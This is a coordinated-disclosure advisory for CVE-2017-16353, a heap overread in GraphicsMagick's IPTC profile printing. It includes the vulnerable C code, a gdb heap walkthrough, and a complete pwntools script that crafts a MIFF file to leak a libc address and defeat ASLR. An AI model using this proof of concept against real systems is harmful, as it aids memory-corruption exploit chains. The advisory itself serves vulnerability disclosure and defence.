GraphicsMagick Information Disclosure when Describing IPTC Profile (CVE-2017-16353)

A heap-based buffer overread in the code responsible for printing IPTC information verbosely allows an attacker to leak sensitive information by supplying a specially crafted MIFF file.

This vulnerability was reported as part of the Beyond Security SecuriTeam Secure Disclosure program. It is also published on their blog at https://blogs.securiteam.com/index.php/archives/3494.

Affected Versions

The current release (1.3.26) is affected. Further analysis is required to determine which versions are also affected by the vulnerability.

Vulnerability Scores

• Classification:
  • CWE-126: Buffer Over-read
  • CWE-200: Information Exposure
• CVSSv3: 6.5 (AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N)

Description

The vulnerable component is present in the DescribeImage function of the magick/describe.c file. The portion of the code containing the vulnerability deals with printing the IPTC Profile information contained in the image. This vulnerability can be triggered with a specially crafted MIFF file.

 63 MagickExport MagickPassFail DescribeImage(Image *image,FILE *file,
 64                                           const MagickBool verbose)
 65 {
...
660       for (i=0; i < profile_length; )
661         {
662           if (profile[i] != 0x1c)
663             {
664               i++;
665               continue;
666             }
667           i++;  /* skip file separator */
668           i++;  /* skip record number */
...
725           i++;
726           (void) fprintf(file,"    %.1024s:\n",tag);
727           length=profile[i++] << 8;
728           length|=profile[i++];
729           text=MagickAllocateMemory(char *,length+1);
730           if (text != (char *) NULL)
731             {
732               char
733                 **textlist;
734
735               register unsigned long
736                 j;
737
738               (void) strncpy(text,(char *) profile+i,length);
739               text[length]='\0';
740               textlist=StringToList(text);
741               if (textlist != (char **) NULL)
742                 {
743                   for (j=0; textlist[j] != (char *) NULL; j++)
744                     {
745                       (void) fprintf(file,"  %s\n",textlist[j]);
...
752           i+=length;
753         }

The value in the profile_length variable is set in the following field in the MIFF header.

profile-iptc=8

There exists an out-of-bounds buffer dereference whenever profile[i] is accessed because the increments of i is never checked. This could lead to undefined behaviour and impact.

However, there is an additional exploitable bug. Since the length passed to the strncpy call on line 738 is specified by two user supplied bytes (lines 727-728), an arbitrary amount (up to 65535 bytes) of data can be read from the heap. However, the use of a string manipulation function makes it tricky to retrieve a large amount of useful data. It is not impossible, however, to read a number of bytes from the heap to leak critical main_arena malloc state struct information to bypass address space layout randomisation (ASLR) when used in conjunction with another vulnerability. Please see the Proof of Concept section for details.

Proof of Concept

For the proof of concept, we will be using the build offered by apt-get in Ubuntu 16.04 x64. If we break on line 738 of describe.c, we can explore what is present on the heap during the strncpy operation.

gef➤  x/2xg profile
0x8be210:    0x08000a001c414141    0x00007ffff690fba8

The 8 bytes 0x08000a001c414141 is the profile payload present in the specially crafted MIFF file. Note that the profile-iptc=8 field is set to indicate that the size of the profile is 8 bytes long. This is important to properly set the layout of the heap and to allow strncpy to retrieve the right bytes we want.

To break the payload down:

41 41 41 - padding
1C - sentinel check in line 662
00 - padding
0A - "Priority" tag
08 00 - 8 in big endian, the length

If we examine the value 0x00007ffff690fba8 adjacent to the payload, it becomes apparent that it is an address within the main_arena struct in libc.

gef➤  x/xw 0x00007ffff690fba8
0x7ffff690fba8 <main_arena+136>:    0x008cdc40
gef➤  vmmap libc
Start              End                Offset             Perm Path
0x00007ffff654b000 0x00007ffff670b000 0x0000000000000000 r-x
/lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff670b000 0x00007ffff690b000 0x00000000001c0000 ---
/lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff690b000 0x00007ffff690f000 0x00000000001c0000 r--
/lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff690f000 0x00007ffff6911000 0x00000000001c4000 rw-
/lib/x86_64-linux-gnu/libc-2.23.so

Doing some math shows that the offset to libc base is 0x3c4b98. This means that we can successfully calculate libc base from the leak for use in conjunction with another vulnerability to obtain a reliable exploit that bypasses ASLR.

The full exploit script to demonstrate this is as follows:

#!/usr/bin/python
# GraphicsMagick IPTC Profile libc Leak
# by Jeremy Heng (@nn_amon)

from pwn import *

directory = "DIR"
partitions = ('id=ImageMagick  version=1.0\nclass=DirectClass  matte=False\n' +
              'columns=1  rows=1  depth=16\nscene=1\nmontage=1x1+0+0\nprofil' +
              'e-iptc=',
              '\n\x0c\n:\x1a',
              '\n\x00',
              '\n\x00\xbe\xbe\xbe\xbe\xbe\xbe\n')
output = "readexploit.miff"
length = 8

#libc_main_arena_entry_offset = 0x3c4ba8
libc_main_arena_entry_offset = 0x3c4b98

def main():
    data = "AAA" + "\x1c" + "\x00" + chr(10) + p16(0x8, endian="big")
    header = partitions[0] + str(length) + partitions[1]
    payload = header + directory + partitions[2] + data + partitions[3]
    file(output, "w").write(payload)

    p = process(executable="gm", argv=["identify", "-verbose", output])
    output_leak = p.recvall()
    priority_offset = output_leak.index("Priority:") + 12
    montage_offset = output_leak.index("Montage:") - 3
    leak = output_leak[priority_offset:montage_offset]
    if "0x00000000" in leak:
        log.info("Unlucky run. Value corrupted by StringToList")
        exit()
    main_arena_leak = u64(leak.ljust(8, "\x00"))
    log.info("Main Arena Leak: 0x%x" % main_arena_leak)
    libc_base = main_arena_leak - libc_main_arena_entry_offset
    log.info("libc Base: 0x%x" % libc_base)

if __name__ == "__main__":
    main()

Running the exploit:

$ python miff/readexploit.py
[+] Starting local process '/usr/bin/gm': pid 20019
[+] Receiving all data: Done (1.27KB)
[*] Process '/usr/bin/gm' stopped with exit code 0 (pid 20019)
[*] Main Arena Leak: 0x7f72948adb98
[*] libc Base: 0x7f72944e9000

Credit

This issue was discovered by Terry Chia (@ayrx) and Jeremy Heng (@nn_amon).

Timeline

• 10 Oct 2017 - Discovery of the vulnerability.
• 17 Oct 2017 - Reporting of the vulnerability to Beyond Security under the SecuriTeam Secure Disclosure program.
• 1 Nov 2017 - Bounty paid and vulnerability disclosed on the Beyond Security SecuriTeam Secure Disclosure blog.
• 2 Nov 2017 - CVE-2017-16353 assigned.